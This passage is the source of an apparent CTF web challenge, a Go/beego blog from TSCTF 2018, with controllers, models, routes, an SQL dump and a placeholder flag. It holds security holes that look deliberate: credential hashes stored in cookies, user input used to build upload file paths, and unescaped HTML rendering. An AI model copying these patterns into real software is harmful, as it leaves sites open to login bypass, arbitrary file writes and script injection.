Edit() { id, err := this.GetInt("id") if err != nil { this.Ctx.WriteString("param id should be digit") return } c := catalog.OneById(int64(id)) if c == nil { this.Abort("404") return } this.Data["Catalog"] = c this.Layout = "layout/admin.html" this.TplName = "catalog/edit.html" } func (this *CatalogController) Del() { id, err := this.GetInt("id") if err != nil { this.Ctx.WriteString("param id should be digit") return } c := catalog.OneById(int64(id)) if c == nil { this.Abort("404") return } err = catalog.Del(c) if err != nil { this.Ctx.WriteString(err.Error()) return } this.Ctx.ResponseWriter.Header().Add("Refresh", "1; url=/") this.Ctx.WriteString("Del success") } func (this *CatalogController) extractCatalog(imgMust bool) (*models.Catalog, error) { o := &models.Catalog{} o.Name = this.GetString("name") o.Ident = this.GetString("ident") o.Resume = this.GetString("resume") o.DisplayOrder = this.GetIntWithDefault("display_order", 0) if o.Name == "" { return nil, fmt.Errorf("name is blank") } if o.Ident == "" { return nil, fmt.Errorf("ident is blank") } _, header, err := this.GetFile("img") if err != nil && imgMust { return nil, err } if err == nil { ext := filetool.Ext(header.Filename) if ext == "" { o.ImgUrl = "" return o, nil } imgPath := fmt.Sprintf("%s/%s_%d%s", CATALOG_IMG_DIR, o.Ident, time.Now().Unix(), ext) filetool.InsureDir(CATALOG_IMG_DIR) err = this.SaveToFile("img", imgPath) if err != nil && imgMust { return nil, err } if err == nil { o.ImgUrl = "/" + imgPath } } return o, nil } func (this *CatalogController) DoEdit() { cid, err := this.GetInt("catalog_id") if err != nil { this.Ctx.WriteString("catalog_id is illegal") return } old := catalog.OneById(int64(cid)) if old == nil { this.Ctx.WriteString(fmt.Sprintf("no such catalog_id: %d", cid)) return } var o *models.Catalog o, err = this.extractCatalog(false) if err != nil { this.Ctx.WriteString(err.Error()) return } old.Ident = o.Ident old.Name = o.Name old.Resume = o.Resume old.DisplayOrder = o.DisplayOrder if o.ImgUrl != "" { old.ImgUrl = o.ImgUrl } if err = catalog.Update(old); err != nil { this.Ctx.WriteString(err.Error()) return } this.Ctx.ResponseWriter.Header().Add("Refresh", "1; url=/") this.Ctx.WriteString("Edit success") } func (this *CatalogController) DoAdd() { o, err := this.extractCatalog(true) if err != nil { this.Ctx.WriteString(err.Error()) return } _, err = catalog.Save(o) if err != nil { this.Ctx.WriteString(err.Error()) return } this.Ctx.ResponseWriter.Header().Add("Refresh", "1; url=/catalog/"+o.Ident) this.Ctx.WriteString("Add success") } ================================================ FILE: web_gotsctf2018/gotsctf2018/controllers/login_controller.go ================================================ package controllers import ( "gotsctf2018/g" "crypto/sha512" "encoding/hex" ) type LoginController struct { BaseController } func (this *LoginController) Login() { this.TplName = "login/login.html" } func (this *LoginController) DoLogin() { name := this.GetString("name") if name == "" { this.Ctx.WriteString("name is blank") return } if this.GetString("password") == "" { this.Ctx.WriteString("password is blank") return } hashed_pass := sha512.Sum384([]byte(this.GetString("password"))) password := hex.EncodeToString(hashed_pass[:]) if g.RootName != name { this.Ctx.WriteString("name is incorrect") return } if g.RootPass != password { this.Ctx.WriteString("password is incorrect") return } this.Ctx.SetCookie("bb_name", g.RootName, 2592000, "/") this.Ctx.SetCookie("bb_password", g.RootPass, 2592000, "/") this.Ctx.WriteString("login success") } func (this *LoginController) Logout() { //this.Ctx.ResponseWriter.Header().Add("Set-Cookie", "bb_name="+g.RootName+"; Max-Age=0; Path=/;") //this.Ctx.ResponseWriter.Header().Add("Set-Cookie", "bb_password="+g.RootPass+"; Max-Age=0; Path=/;") this.Redirect("/", 302) } ================================================ FILE: web_gotsctf2018/gotsctf2018/controllers/main_controller.go ================================================ package controllers import ( "gotsctf2018/g" "gotsctf2018/models/blog" "gotsctf2018/models/catalog" ) type MainController struct { BaseController } func (this *MainController) Get() { this.Data["Catalogs"] = catalog.All() this.Data["PageTitle"] = "首页" this.Layout = "layout/default.html" this.TplName = "index.html" } func (this *MainController) Read() { ident := this.GetString(":ident") b := blog.OneByIdent(ident) if b == nil { this.Abort("404") return } b.Views = b.Views + 1 blog.Update(b, "") this.Data["Blog"] = b this.Data["Content"] = g.RenderMarkdown(blog.ReadBlogContent(b).Content) this.Data["PageTitle"] = b.Title this.Data["Catalog"] = catalog.OneById(b.CatalogId) this.Layout = "layout/default.html" this.TplName = "article/read.html" } func (this *MainController) ListByCatalog() { cata := this.Ctx.Input.Param(":ident") if cata == "" { this.Abort("400") return } limit := this.GetIntWithDefault("limit", 10) c := catalog.OneByIdent(cata) if c == nil { this.Abort("404") return } ids := blog.Ids(c.Id) pager := this.SetPaginator(limit, int64(len(ids))) blogs := blog.ByCatalog(c.Id, pager.Offset(), limit) this.Data["Catalog"] = c this.Data["Blogs"] = blogs this.Data["PageTitle"] = c.Name this.Layout = "layout/default.html" this.TplName = "article/by_catalog.html" } ================================================ FILE: web_gotsctf2018/gotsctf2018/controllers/me_controller.go ================================================ package controllers type MeController struct { AdminController } func (this *MeController) Default() { this.Layout = "layout/admin.html" this.TplName = "me/default.html" } ================================================ FILE: web_gotsctf2018/gotsctf2018/flag ================================================ TSCTF{tttttt} ================================================ FILE: web_gotsctf2018/gotsctf2018/g/cfg.go ================================================ package g import ( "crypto/sha512" "encoding/hex" ) var ( RootEmail string RootName string RootPass string BlogTitle string BlogResume string BlogLogo string ) func initCfg() { RootName = Cfg.String("root_name") RootEmail = Cfg.String("root_email") hashed_pass := sha512.Sum384([]byte(Cfg.String("root_pass"))) RootPass = hex.EncodeToString(hashed_pass[:]) BlogTitle = Cfg.String("blog_title") BlogResume = Cfg.String("blog_resume") BlogLogo = Cfg.String("blog_logo") } ================================================ FILE: web_gotsctf2018/gotsctf2018/g/g.go ================================================ package g import ( "fmt" "github.com/astaxie/beego" "github.com/astaxie/beego/orm" _ "github.com/go-sql-driver/mysql" ) var catalogCacheExpire int64 var RunMode string var Cfg = beego.AppConfig func InitEnv() { // database dbUser := Cfg.String("db_user") dbPass := Cfg.String("db_pass") dbHost := Cfg.String("db_host") dbPort := Cfg.String("db_port") dbName := Cfg.String("db_name") maxIdleConn, _ := Cfg.Int("db_max_idle_conn") maxOpenConn, _ := Cfg.Int("db_max_open_conn") dbLink := fmt.Sprintf("%s:%s@tcp(%s:%s)/%s?charset=utf8", dbUser, dbPass, dbHost, dbPort, dbName) + "&loc=Asia%2FChongqing" orm.RegisterDriver("mysql", orm.DRMySQL) orm.RegisterDataBase("default", "mysql", dbLink, maxIdleConn, maxOpenConn) RunMode = Cfg.String("runmode") if RunMode == "dev" { orm.Debug = true } initCfg() } ================================================ FILE: web_gotsctf2018/gotsctf2018/g/markdown.go ================================================ package g import ( "github.com/slene/blackfriday" ) func RenderMarkdown(mdStr string) string { htmlFlags := 0 htmlFlags |= blackfriday.HTML_USE_XHTML htmlFlags |= blackfriday.HTML_SKIP_SCRIPT htmlFlags |= blackfriday.HTML_GITHUB_BLOCKCODE htmlFlags |= blackfriday.HTML_OMIT_CONTENTS htmlFlags |= blackfriday.HTML_COMPLETE_PAGE renderer := blackfriday.HtmlRenderer(htmlFlags, "", "") // set up the parser extensions := 0 extensions |= blackfriday.EXTENSION_NO_INTRA_EMPHASIS extensions |= blackfriday.EXTENSION_TABLES extensions |= blackfriday.EXTENSION_FENCED_CODE extensions |= blackfriday.EXTENSION_AUTOLINK extensions |= blackfriday.EXTENSION_STRIKETHROUGH extensions |= blackfriday.EXTENSION_HARD_LINE_BREAK extensions |= blackfriday.EXTENSION_SPACE_HEADERS extensions |= blackfriday.EXTENSION_NO_EMPTY_LINE_BEFORE_BLOCK body := blackfriday.Markdown([]byte(mdStr), renderer, extensions) return string(body) } ================================================ FILE: web_gotsctf2018/gotsctf2018/gotsctf.sql ================================================ -- phpMyAdmin SQL Dump -- version 4.6.5.2 -- https://www.phpmyadmin.net/ -- -- Host: localhost -- Generation Time: Jun 06, 2018 at 07:45 PM -- Server version: 10.1.21-MariaDB -- PHP Version: 7.1.1 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `gotsctf` -- CREATE DATABASE IF NOT EXISTS `gotsctf` DEFAULT CHARACTER SET latin1 COLLATE latin1_swedish_ci; USE `gotsctf`; -- -------------------------------------------------------- -- -- Table structure for table `bb_blog` -- CREATE TABLE IF NOT EXISTS `bb_blog` ( `id` bigint(20) NOT NULL AUTO_INCREMENT, `ident` varchar(255) NOT NULL, `title` varchar(255) NOT NULL, `keywords` varchar(255) DEFAULT NULL, `catalog_id` bigint(20) NOT NULL, `blog_content_id` bigint(20) NOT NULL, `blog_content_last_update` bigint(20) NOT NULL, `type` tinyint(4) NOT NULL, `status` tinyint(4) NOT NULL, `views` bigint(20) NOT NULL, `created` datetime NOT NULL, PRIMARY KEY (`id`), UNIQUE KEY `ident` (`ident`), UNIQUE KEY `blog_content_id` (`blog_content_id`), KEY `bb_blog_catalog_id` (`catalog_id`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 ROW_FORMAT=COMPACT; -- -- Dumping data for table `bb_blog` -- INSERT INTO `bb_blog` (`id`, `ident`, `title`, `keywords`, `catalog_id`, `blog_content_id`, `blog_content_last_update`, `type`, `status`, `views`, `created`) VALUES (1, 'welcome', '欢迎!', 'blog', 1, 1, 1527737879, 0, 1, 0, '2018-05-30 14:34:35'); -- -------------------------------------------------------- -- -- Table structure for table `bb_blog_content` -- CREATE TABLE IF NOT EXISTS `bb_blog_content` ( `id` bigint(20) NOT NULL AUTO_INCREMENT, `content` longtext NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 ROW_FORMAT=COMPACT; -- -- Dumping data for table `bb_blog_content` -- INSERT INTO `bb_blog_content` (`id`, `content`) VALUES (1, '# RUA!欢迎来到我的博客!\n\n![Colored Logo-Blue-2.png](/static/uploads/usercontents/editor/1527669513.png)\n\n'); -- -------------------------------------------------------- -- -- Table structure for table `bb_catalog` -- CREATE TABLE IF NOT EXISTS `bb_catalog` ( `id` bigint(20) NOT NULL AUTO_INCREMENT, `ident` varchar(255) NOT NULL, `name` varchar(255) NOT NULL, `resume` varchar(255) NOT NULL, `display_order` int(11) NOT NULL, `img_url` varchar(255) NOT NULL, PRIMARY KEY (`id`), UNIQUE KEY `ident` (`ident`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 ROW_FORMAT=COMPACT; -- -- Dumping data for table `bb_catalog` -- INSERT INTO `bb_catalog` (`id`, `ident`, `name`, `resume`, `display_order`, `img_url`) VALUES (1, 'TSCTF', 'TSCTF', '天枢CTF2018', 99, '/static/uploads/usercontents/catalogs/TSCTF_1527662021.jpg'); /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; ================================================ FILE: web_gotsctf2018/gotsctf2018/main.go ================================================ package main import ( "github.com/astaxie/beego" "gotsctf2018/g" _ "gotsctf2018/routers" ) func main() { g.InitEnv() beego.Run() } ================================================ FILE: web_gotsctf2018/gotsctf2018/models/blog/blog.go ================================================ package blog import ( "fmt" "github.com/astaxie/beego/orm" . "gotsctf2018/models" "time" "html/template" ) func OneById(id int64) *Blog { if id <= 0 { return nil } if p := OneByIdInDB(id); p != nil { return p } return nil } func OneByIdInDB(id int64) *Blog { if id <= 0 { return nil } o := Blog{Id: id} err := orm.NewOrm().Read(&o, "Id") if err != nil { return nil } return &o } func IdByIdent(ident string) int64 { if ident == "" { return 0 } if p := OneByIdentInDB(ident); p != nil { return p.Id } else { return 0 } } func IdentExists(ident string) bool { id := IdByIdent(ident) return id > 0 } func OneByIdent(ident string) *Blog { id := IdByIdent(ident) return OneById(id) } func OneByIdentInDB(ident string) *Blog { if ident == "" { return nil } c := Blog{Ident: ident} err := orm.NewOrm().Read(&c, "Ident") if err != nil { return nil } return &c } func IdsInDB(catalog_id int64) []int64 { if catalog_id <= 0 { return []int64{} } var blogs []Blog Blogs().Filter("CatalogId", catalog_id).Filter("Status", 1).OrderBy("-Created").All(&blogs, "Id") size := len(blogs) if size == 0 { return []int64{} } ret := make([]int64, size) for i := 0; i < size; i++ { ret[i] = blogs[i].Id } return ret } func ReadBlogContent(b *Blog) *BlogContent { if b.Id <= 0 || b.BlogContentId <= 0 { return nil } if p := readBlogContentInDB(b); p != nil { return p } return nil } func readBlogContentInDB(b *Blog) *BlogContent { o := BlogContent{Id: b.BlogContentId} err := orm.NewOrm().Read(&o, "Id") if err != nil { return nil } o.HTMLContent = template.HTML(o.Content) return &o } func Ids(catalog_id int64) []int64 { if catalog_id <= 0 { return []int64{} } if ids := IdsInDB(catalog_id); len(ids) != 0 { return ids } else { return []int64{} } } func ByCatalog(catalog_id int64, offset, limit int) []*Blog { ids := Ids(catalog_id) size := len(ids) if size == 0 { return []*Blog{} } if size > limit { end := offset + limit if end > size { end = size } ids = ids[offset:end] } size = len(ids) ret := make([]*Blog, size) for i := 0; i < size; i++ { ret[i] = OneById(ids[i]) ret[i].Content = ReadBlogContent(ret[i]) } return ret } func Save(this *Blog, blogContent string) (int64, error) { if IdentExists(this.Ident) { return 0, fmt.Errorf("blog english identity exists") } bc := &BlogContent{Content: blogContent} or := orm.NewOrm() blogContentId, e := or.Insert(bc) if e != nil { return 0, e } this.BlogContentId = blogContentId this.BlogContentLastUpdate = time.Now().Unix() id, err := or.Insert(this) return id, err } func Del(b *Blog) error { num, err := Blogs().Filter("Id", b.Id).Delete() if err != nil { return err } if num > 0 { BlogContents().Filter("Id", b.BlogContentId).Delete() } return nil } func Update(b *Blog, content string) error { if b.Id == 0 { return fmt.Errorf("primary key:id not set") } bc := ReadBlogContent(b) if content != "" && bc.Content != content { bc.Content = content _, e := orm.NewOrm().Update(bc) if e != nil { return e } b.BlogContentLastUpdate = time.Now().Unix() } _, err := orm.NewOrm().Update(b) return err } func Blogs() orm.QuerySeter { return orm.NewOrm().QueryTable(new(Blog)) } func BlogContents() orm.QuerySeter { return orm.NewOrm().QueryTable(new(BlogContent)) } ================================================ FILE: web_gotsctf2018/gotsctf2018/models/catalog/catalog.go ================================================ package catalog import ( "fmt" "github.com/astaxie/beego/orm" . "gotsctf2018/models" ) func OneById(id int64) *Catalog { if id == 0 { return nil } if cp := OneByIdInDB(id); cp != nil { return cp } else { return nil } } func OneByIdInDB(id int64) *Catalog { if id == 0 { return nil } c := Catalog{Id: id} err := orm.NewOrm().Read(&c, "Id") if err != nil { return nil } return &c } func IdByIdent(ident string) int64 { if ident == "" { return 0 } if cp := OneByIdentInDB(ident); cp != nil { return cp.Id } else { return 0 } } func IdentExists(ident string) bool { id := IdByIdent(ident) return id > 0 } func OneByIdent(ident string) *Catalog { id := IdByIdent(ident) return OneById(id) } func OneByIdentInDB(ident string) *Catalog { if ident == "" { return nil } c := Catalog{Ident: ident} err := orm.NewOrm().Read(&c, "Ident") if err != nil { return nil } return &c } func AllIdsInDB() []int64 { var catalogs []Catalog Catalogs().OrderBy("-DisplayOrder").All(&catalogs, "Id") size := len(catalogs) if size == 0 { return []int64{} } ret := make([]int64, size) for i := 0; i < size; i++ { ret[i] = catalogs[i].Id } return ret } func AllIds() []int64 { if ids := AllIdsInDB(); len(ids) != 0 { return ids } else { return []int64{} } } func All() []*Catalog { ids := AllIds() size := len(ids) if size == 0 { return []*Catalog{} } ret := make([]*Catalog, size) for i := 0; i < size; i++ { ret[i] = OneById(ids[i]) } return ret } func Save(this *Catalog) (int64, error) { if IdentExists(this.Ident) { return 0, fmt.Errorf("catalog english identity exists") } num, err := orm.NewOrm().Insert(this) return num, err } func Del(c *Catalog) error { _, err := orm.NewOrm().Delete(c) if err != nil { return err } return nil } func Update(this *Catalog) error { if this.Id == 0 { return fmt.Errorf("primary key id not set") } _, err := orm.NewOrm().Update(this) return err } func Catalogs() orm.QuerySeter { return orm.NewOrm().QueryTable(new(Catalog)) } ================================================ FILE: web_gotsctf2018/gotsctf2018/models/models.go ================================================ package models // package main import ( "github.com/astaxie/beego/orm" _ "github.com/go-sql-driver/mysql" "time" "html/template" ) type Catalog struct { Id int64 Ident string `orm:"unique"` Name string Resume string DisplayOrder int ImgUrl string } type Blog struct { Id int64 Ident string `orm:"unique"` Title string Keywords string `orm:"null"` CatalogId int64 `orm:"index"` Content *BlogContent `orm:"-"` BlogContentId int64 `orm:"unique"` BlogContentLastUpdate int64 Type int8 /*0:original, 1:translate, 2:reprint*/ Status int8 /*0:draft, 1:release*/ Views int64 Created time.Time `orm:"auto_now_add;type(datetime)"` } type BlogContent struct { Id int64 Content string `orm:"type(text)"` HTMLContent template.HTML `orm:"-"` } func (*Catalog) TableEngine() string { return engine() } func (*Blog) TableEngine() string { return engine() } func (*BlogContent) TableEngine() string { return engine() } func engine() string { return "INNODB DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci" } func init() { orm.RegisterModelWithPrefix("bb_", new(Catalog), new(Blog), new(BlogContent)) } // func main() { // orm.RegisterDataBase("default", "mysql", "root:@/beego_blog?charset=utf8&loc=Asia%2FShanghai", 30, 200) // orm.RunCommand() // } ================================================ FILE: web_gotsctf2018/gotsctf2018/routers/router.go ================================================ package routers import ( "github.com/astaxie/beego" "gotsctf2018/controllers" ) func init() { beego.Router("/api/health", &controllers.ApiController{}, "get:Health;post:Health") beego.Router("/api/markdown", &controllers.ApiController{}, "get:Markdown;post:Markdown") beego.Router("/api/upload", &controllers.ApiController{}, "get:Upload;post:Upload") beego.Router("/", &controllers.MainController{}) beego.Router("/article/:ident", &controllers.MainController{}, "get:Read") beego.Router("/catalog/:ident", &controllers.MainController{}, "get:ListByCatalog") beego.Router("/login", &controllers.LoginController{}, "get:Login;post:DoLogin") beego.Router("/logout", &controllers.LoginController{}, "get:Logout") beego.Router("/me", &controllers.MeController{}, "get:Default") beego.Router("/me/catalog/add", &controllers.CatalogController{}, "get:Add;post:DoAdd") beego.Router("/me/catalog/edit", &controllers.CatalogController{}, "get:Edit;post:DoEdit") beego.Router("/me/catalog/del", &controllers.CatalogController{}, "get:Del") beego.Router("/me/article/add", &controllers.ArticleController{}, "get:Add;post:DoAdd") beego.Router("/me/article/edit", &controllers.ArticleController{}, "get:Edit;post:DoEdit") beego.Router("/me/article/del", &controllers.ArticleController{}, "get:Del") beego.Router("/me/article/draft", &controllers.ArticleController{}, "get:Draft") } ================================================ FILE: web_gotsctf2018/gotsctf2018/startwebserver.sh ================================================ #!/bin/sh kill -9 `ps -a | grep bee | awk '{print $1}' | paste -sd ' '` kill -9 `ps -a | grep gotsctf2018 | awk '{print $1}' | paste -sd ' '` cd /go/src/gotsctf2018 bee run ================================================ FILE: web_gotsctf2018/gotsctf2018/static/css/ee22d.css ================================================ .color-picker .color-chooser{line-height:1}.color-picker .color-chooser-color{display:inline-block;padding:0;margin:0;height:25px;width:25px;cursor:pointer;box-sizing:border-box;border:solid 2px rgba(0,0,0,0)}.color-picker .color-picker-editor{font-size:14px;margin:0;padding:4px;border:1px solid #ddd;border-left-width:25px;border-radius:0;background-color:rgba(0,0,0,0);transition:border-color .2s ease-in;outline:0}.yue{font:400 18px/1.62 Georgia,"Xin Gothic","Hiragino Sans GB","WenQuanYi Micro Hei",sans-serif;color:#444443}.yue ::-moz-selection{background-color:rgba(0,0,0,.2)}.yue ::selection{background-color:rgba(0,0,0,.2)}.yue h1,.yue h2,.yue h3,.yue h4,.yue h5,.yue h6{font-family:Georgia,"Xin Gothic","Hiragino Sans GB","WenQuanYi Micro Hei","Microsoft YaHei",SimSun,sans-serif;color:#222223}.yue h1{font-size:1.8em;margin:.67em 0}.yue>h1{margin-top:0;font-size:2em}.yue h2{font-size:1.5em;margin:.83em 0}.yue h3{font-size:1.17em;margin:1em 0}.yue h4,.yue h5,.yue h6{font-size:1em;margin:1.6em 0 1em}.yue h6{font-weight:500}.yue p{margin-top:0;margin-bottom:1.46em}.yue a{color:#111;word-wrap:break-word;-moz-text-decoration-color:rgba(0,0,0,.4);text-decoration-color:rgba(0,0,0,.4)}.yue a:hover{color:#555;-moz-text-decoration-color:rgba(0,0,0,.6);text-decoration-color:rgba(0,0,0,.6)}.yue strong,.yue b{font-weight:700;color:#222}.yue em,.yue i{font-style:italic;color:#222}.yue img{max-width:100%;height:auto;margin:.2em 0}.yue a img{border:0}.yue figure{position:relative;clear:both;outline:0;margin:10px 0 30px;padding:0}.yue figure img{display:block;max-width:100%;margin:auto;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.yue figure figcaption{position:relative;width:100%;text-align:center;left:0;margin-top:10px;font-weight:400;font-size:14px;color:#666665}.yue figure figcaption a{text-decoration:none;color:#666665}.yue hr{display:block;width:14%;margin:40px auto 34px;border:0 none;border-top:3px solid #dededc}.yue blockquote{margin:0 0 1.64em;border-left:3px solid #dadada;padding-left:12px;color:#666664}.yue blockquote a{color:#666664}.yue ul,.yue ol{margin:0 0 24px 6px;padding-left:16px}.yue ul{list-style-type:square}.yue ol{list-style-type:decimal}.yue li{margin-bottom:.2em}.yue li ul,.yue li ol{margin-top:0;margin-bottom:0;margin-left:14px}.yue li ul{list-style-type:disc}.yue li ul ul{list-style-type:circle}.yue li p{margin:.4em 0 .6em}.yue .unstyled{list-style-type:none;margin:0;padding:0}.yue code,.yue tt{color:gray;font-size:.96em;background-color:#f9f9f7;padding:1px 2px;border:1px solid #dadada;border-radius:3px;font-family:Inconsolata,Menlo,monospace}.yue pre{margin:1.64em 0;padding:7px;border:0;border-left:3px solid #dadada;padding-left:10px;overflow:auto;line-height:1.5;font-size:.96em;font-family:Inconsolata,Menlo,monospace;color:#4c4c4c;background-color:#f9f9f7}.yue pre code,.yue pre tt{color:#4c4c4c;border:0;background:0;padding:0}.yue table{width:100%;border-collapse:collapse;border-spacing:0;margin-bottom:1.5em;font-size:.96em}.yue th,.yue td{text-align:left;padding:4px 8px 4px 10px;border:1px solid #dadada}.yue td{vertical-align:top}.yue tr:nth-child(even){background-color:#efefee}.yue iframe{display:block;max-width:100%;margin-bottom:30px}.yue figure iframe{margin:auto}.yue table pre{margin:0;padding:0;border:0;background:0}@media (min-width:1100px){.yue blockquote{margin-left:-24px;padding-left:20px;border-width:4px}.yue blockquote blockquote{margin-left:0}.yue figure figcaption:before{width:25%;margin-left:75%;border-top:1px solid #dededc;display:block;content:"";margin-bottom:10px}.yue figure figcaption{position:absolute;left:-172px;width:150px;top:0;text-align:right;margin-top:0}}.placeholder:before{content:attr(data-placeholder);margin-left:2px;opacity:.4}.social-button-item{font-size:24px;position:relative;display:inline-block;vertical-align:middle;text-align:center;margin:8px}.social-button-item .hide{display:none}.social-button-large .social-button-item{font-size:36px}.social-button-small .social-button-item{margin:10px 5px;font-size:18px}.social-button-item .social-button-icon{display:block;color:#979799;text-decoration:none!important}.social-button-item .social-button-icon-twitter:hover{color:#23acee!important}.social-button-item .social-button-icon-facebook:hover{color:#3c5696!important}.social-button-item .social-button-icon-weibo:hover{color:#e32428!important}.social-button-item .social-button-count{position:absolute;left:50%;text-align:center;margin-top:10px;font:300 14px/1 sans-serif;padding:6px 6px 5px;background:rgba(0,0,0,.76);border-radius:3px;color:#fff;opacity:0;-webkit-transition:opacity .2s ease-in-out;-moz-transition:opacity .2s ease-in-out;-ms-transition:opacity .2s ease-in-out;-o-transition:opacity .2s ease-in-out;transition:opacity .2s ease-in-out}.social-button-item:hover .social-button-count{opacity:1}.social-button-item .social-button-count:before{position:absolute;top:-6px;left:50%;margin-left:-3px;content:'';width:0;height:0;border:3px solid transparent;border-bottom-color:rgba(0,0,0,.76)}.switch{position:relative;display:inline-block;overflow:hidden;height:3em;width:7.6em;border-radius:3em;-webkit-transition:background .2s ease-in,color .2s ease-in;transition:background .2s ease-in,color .2s ease-in;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:pointer}.switch-on-label,.switch-off-label{position:absolute;height:3em;font:300 1em/3em "Helvetica Neue",Helvetica,sans-serif;text-align:center;-webkit-transition:-webkit-transform .2s ease-in;transition:transform .2s ease-in;cursor:pointer}.switch-on-label{right:3em;left:0}.switch-off-label{right:0;left:3em}.switch-mask{position:absolute;left:0;top:0;height:3em;width:3em;border-radius:3em;background-color:#fff;background-color:rgba(255,255,255,.98);-webkit-background-clip:padding-box;background-clip:padding-box;border:2px solid transparent;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-transition:left .2s ease-in,margin .2s ease-in;transition:left .2s ease-in,margin .2s ease-in}.switch.on .switch-mask{margin-left:-3em;left:100%}.switch.on .switch-off-label{-webkit-transform:translateX(100%)}.switch.off .switch-on-label{-webkit-transform:translateX(-100%)}.switch.on{color:#fff;background:#111}.switch.off{color:#bbb;background:#eaeaea}.vertical-field{border:0;padding:0 0 20px}.required label:after{content:'*';vertical-align:middle;margin-left:2px}.form-label,.form-message{color:#7C7C7C;font-family:Avenir,"Helvetica Neue",Helvetica,"Xin Gothic","Hiragino Sans GB","WenQuanYi Micro Hei","Microsoft YaHei",SimSun,sans-serif}.form-label label{margin-right:14px;font-weight:500}.form-input input,.form-input textarea{border:0;border-radius:4px;outline:0;background:rgba(0,0,0,.064);padding:8px 6px;font-size:18px;line-height:1;box-sizing:border-box;width:300px;margin-right:4px}.form-input textarea{width:80%}.form-message{visibility:hidden;margin-top:2px;font-size:12px}.success .form-input input{background:rgba(0,252,0,.064)}.success .form-input:after{content:"✔︎";color:#6BAB57}.error .form-input input{background:rgba(252,60,0,.064);color:#EB5E34}.error .form-input:after{content:"✘";color:#EB5E34}.success .form-message,.error .form-message{visibility:visible}.password-strength span{display:inline-block;width:48px;height:5px;background:rgba(0,0,0,.04);-webkit-transition:background .2s ease-in-out;-moz-transition:background .2s ease-in-out;-ms-transition:background .2s ease-in-out;transition:background .2s ease-in-out}.password-strength-simple span:first-of-type{background:#EB5E34}.password-strength-medium span{background:#FCDB76}.password-strength-medium span:last-of-type{background:rgba(0,0,0,.04)}.password-strength-strong span{background:#6BAB57}.toggle .toggle-hover-inactive,.toggle .toggle-inner-active,.toggle .toggle-hover-active{display:none}.toggle .toggle-inner-inactive{display:initial}.toggle-active .toggle-inner-inactive{display:none}.toggle-active .toggle-inner-active{display:initial}.toggle:hover .toggle-inner-inactive{display:none}.toggle:hover .toggle-hover-inactive{display:initial}.toggle-active:hover .toggle-inner-active{display:none}.toggle-active:hover .toggle-hover-inactive{display:none}.toggle-active:hover .toggle-hover-active{display:initial}.notice-container{position:fixed;top:0;left:0;width:100%;z-index:999999}.notice-container .notice-item{position:relative;font:500 16px/1.8 Georgia,"Xin Gothic","Hiragino Sans GB","WenQuanYi Micro Hei",sans-serif;background:#fefefe;background:rgba(255,255,255,.9);color:#565656;padding:10px 20px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;border-bottom:1px solid #efefef;text-align:center;-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out;-webkit-transform-origin:top;-ms-transform-origin:top;transform-origin:top}.notice-container .warning,.notice-container .warn{background:#fcf8e3;background:rgba(252,248,227,.9);border-color:#fbeed5;color:#c09853}.notice-container .danger,.notice-container .error{background:#f2dede;background:rgba(242,222,222,.9);border-color:#ebccd1;color:#a94442}.notice-container .notice-content{color:inherit;text-decoration:none;margin:0 auto;max-width:650px}.notice-container .notice-close{position:absolute;top:10px;right:20px;cursor:pointer;font:400 normal 22px/1.3 Arial,sans-serif;color:rgba(231,76,60,.6)}.notice-container .notice-dismiss{-webkit-transform:rotateX(60deg);-ms-transform:rotateX(60deg);transform:rotateX(60deg);opacity:0}@-webkit-keyframes overlay-scale{0%{-webkit-transform:scale(0.8);transform:scale(0.8)}50%{-webkit-transform:scale(1.1);transform:scale(1.1)}100%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes overlay-scale{0%{-webkit-transform:scale(0.8);-ms-transform:scale(0.8);transform:scale(0.8)}50%{-webkit-transform:scale(1.1);-ms-transform:scale(1.1);transform:scale(1.1)}100%{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}body.overlay-active{overflow:hidden}.overlay-active .overlay{display:block}.overlay{position:fixed;top:0;left:0;width:100%;height:100%;overflow:auto;background:#f9f9f9;background:rgba(255,255,255,.98);text-align:center;z-index:999;display:none}.overlay-close{position:fixed;top:8px;right:8px;color:#b3b3b1;background:#f9f9f9;background:rgba(0,0,0,0);padding:4px;margin:0;border:0;outline:0;font:500 24px/1 "Helvetica Neue",sans-serif}.overlay-close:hover{cursor:pointer}.overlay-container{max-width:680px;min-height:100%;margin:0 auto;padding:60px 10px;box-sizing:border-box;-webkit-animation:overlay-scale .2s ease-in-out;animation:overlay-scale .2s ease-in-out}@-webkit-keyframes nanobar-infinite{0{width:0;height:100%}86%{width:80%;height:100%}100%{width:100%;height:0}}@keyframes nanobar-infinite{0{width:0;height:100%}86%{width:80%;height:100%}100%{width:100%;height:0}}.nanobar{position:fixed;top:0;left:0;width:100%;height:6px;background:rgba(0,0,0,.02);clear:both}.nanobar .nanobar-progress{background:rgba(0,0,0,.96);box-shadow:0 0 18px rgba(255,255,255,.6);height:100%;width:0;-webkit-transition:width .3s linear,height .1s linear .2s;transition:width .3s linear,height .1s linear .2s}.nanobar .nanobar-progress-infinite{-webkit-animation:nanobar-infinite 2s infinite linear;animation:nanobar-infinite 2s infinite 